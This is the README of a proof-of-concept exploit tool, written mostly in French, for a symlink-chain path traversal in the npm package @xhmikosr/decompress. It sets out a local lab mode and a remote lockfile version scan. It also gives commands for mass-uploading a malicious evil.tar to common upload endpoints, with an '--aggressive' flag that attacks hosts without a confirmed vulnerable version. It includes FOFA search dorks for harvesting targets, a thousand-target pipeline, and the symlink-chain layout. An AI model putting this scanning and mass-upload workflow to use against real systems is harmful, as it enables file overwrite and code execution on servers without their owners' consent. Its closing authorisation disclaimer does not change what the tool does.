
PoC Python pour CVE-2026-101894 : traversée de chemin par chaîne de liens symboliques dans @xhmikosr/decompress. Comprend un labo Node local, un scan de version du lockfile et un exploit d'upload massif de evil.tar.
PoC Python 3 pour CVE-2026-101894 — l'extraction d'archives Node.js dans @xhmikosr/decompress (et decompress non maintenu) permet la lecture/écriture en dehors du répertoire de sortie via une chaîne d'entrées de liens symboliques. Contournement du durcissement de CVE-2026-53486. CVSS 3.1 9.1 Critique.
| PoCbit | https://pocbit.org/pocs/cve-2026-101894 |
| Catalogue | https://pocbit.org/pocs/ |
| Paquet | @xhmikosr/decompress (maintenu), decompress (kevva, non corrigé) |
| API | decompress(input, output) par défaut |
| CWE | CWE-22 traversée de chemin, CWE-59 suivi de lien |
| Corrigé | 10.2.2 (10.x), 11.1.4 (11.x) |
| GHSA | GHSA-hrh2-vp3x-79xf |
decompress, tar/zip vb. arşivleri hedef klasöre açarken lexical path kontrolleri uygular; ancak ardışık symlink girdileri ile kernel, sonraki girdileri çıktı dizini dışında çözebilir. Saldırgan kontrollü arşivle config, startup script veya hassas dosyaların üzerine yazabilir / okuyabilir → RCE senaryosu (CI, container, upload+extract servisleri).
@xhmikosr/decompress için yama: 10.2.2 ve 11.1.4. Eski decompress paketi 4.2.1’e kadar aynı sınıfta ve yama almıyor — @xhmikosr/[email protected]+’e geçin.
| Mode | Objectif |
|---|---|
--lab | Installe 11.1.3 dans lab/, vérifie l'écriture à l'extérieur via la chaîne de liens symboliques evil.tar |
--write-evil-tar | Écrit l'archive de payload sur le disque (marqueur POCBIT-101894-ESCAPED) |
check | Sur une cible distante, package.json / lockfile → version ≤ à risque ? |
exploit | POST vers les chemins d'upload courants avec evil.tar à chaîne de liens symboliques (mass bulk) |
| mass | --list + -j ; hits.txt / exploited.txt |
L'exploit distant ne prouve pas que le serveur ouvre réellement l'archive avec decompress ; une acceptation d'upload 2xx + une empreinte de version faible est considérée comme exploited. Pour une preuve certaine, utilisez --lab.
hits.txt vs exploited.txt (cas fréquent)| Étape | Ce que cela prouve |
|---|---|
| check → hits.txt | /package.json ou /package-lock.json exposé et contenant un decompress faible |
| exploit → exploited.txt | Au moins une des URL d'upload génériques essayées par le PoC a renvoyé HTTP 2xx |
Dans la liste FOFA Express, 500 scans → 2 hits est normal. 2 hits + 0 exploit (vulnerable_dep_no_upload_endpoint) est aussi normal : fuite de dépendance ≠ upload d'archive accessible publiquement. Ce CVE nécessite, pour l'exploitation, que l'application ouvre une archive non fiable avec decompress() ; sur les sites HID / :8088 aléatoires, les 8–11 chemins par défaut du PoC sont souvent absents.
# Preuve de la chaîne (local)
python poc.py --lab
# Hits : dépendance uniquement + tentative d'upload
python poc.py --list hits.txt --mode exploit -j 2
# Attendu : upload_ok=0, status vulnerable_dep_no_upload_endpoint
| Paquet | Vulnérable | Corrigé |
|---|---|---|
@xhmikosr/decompress 11.x | 11.0.0 – 11.1.3 | ≥ 11.1.4 |
@xhmikosr/decompress 10.x | < 10.2.2 | ≥ 10.2.2 |
decompress (kevva) | ≤ 4.2.1 | aucune — migrer |
cd CVE-2026-101894
pip install -r requirements.txt
Lab : Node.js + npm dans le PATH (Linux/macOS recommandé pour le comportement d'extraction des liens symboliques).
python poc.py --lab
python poc.py --write-evil-tar evil.tar
python poc.py -u https://app.example --mode check
python poc.py --list targets.example.txt --mode check -j 30 --vuln-list hits.txt
python poc.py -u https://app.example --mode exploit --aggressive
python poc.py --list hits.txt --mode exploit -j 10 --aggressive --upload-paths /api/upload,/upload
| Option | Signification |
|---|---|
--lab | PoC d'extraction Node local |
--aggressive | Exploiter même sans lockfile vulnérable exposé |
--upload-paths | Chemins POST personnalisés séparés par des virgules |
--exploited-list | Cibles où l'upload a renvoyé 2xx |
Chaîne de liens symboliques (simplifiée) :
a/b/c/up → ../..a/b/escape → c/up/../..esc → ..…/pocbit_escape.txt avec payload marqueurCorrespond à la classe de contournement par chaîne de liens symboliques décrite dans les notes de version 11.1.4 (correctif realpath / confinement).
FOFA JSON → python _format_fofa.py fofa_results_1000.json
→ fofa_results_1000.json (url), fofa_results_1000.csv, fofa_targets_1000.txt
python poc.py --list fofa_targets_1000.txt --mode check -j 40 → hits.txt
python poc.py --list fofa_results_1000.csv --mode check -j 40 # url column
python poc.py --list hits.txt --mode exploit -j 8 --aggressive → exploited.txt
La liste de dorks FOFA upload/zip (fofa_results_1000) est plus adaptée à la surface d'exploit que la liste Express-only de 500 ; néanmoins hit = lockfile + decompress faible, exploit = upload 2xx.
body="node_modules/@xhmikosr/decompress"
body="\"decompress\"" && body="package-lock.json"
header="X-Powered-By: Express" && body="/package.json"
(Le lockfile est rarement public en prod ; la vérification trouve souvent du staging, des artefacts CI, de l'hébergement statique mal configuré.)
Ne testez que les systèmes que vous êtes autorisé à évaluer. Ne téléversez pas d'archives malveillantes vers des services de production tiers.
CVE-2026-101894 PoC: @xhmikosr/decompress symlink-chain archive path traversal (bypass CVE-2026-53486). Node lab + lockfile scan + mass evil.tar upload exploit. CVSS 9.1. https://pocbit.org/pocs/cve-2026-101894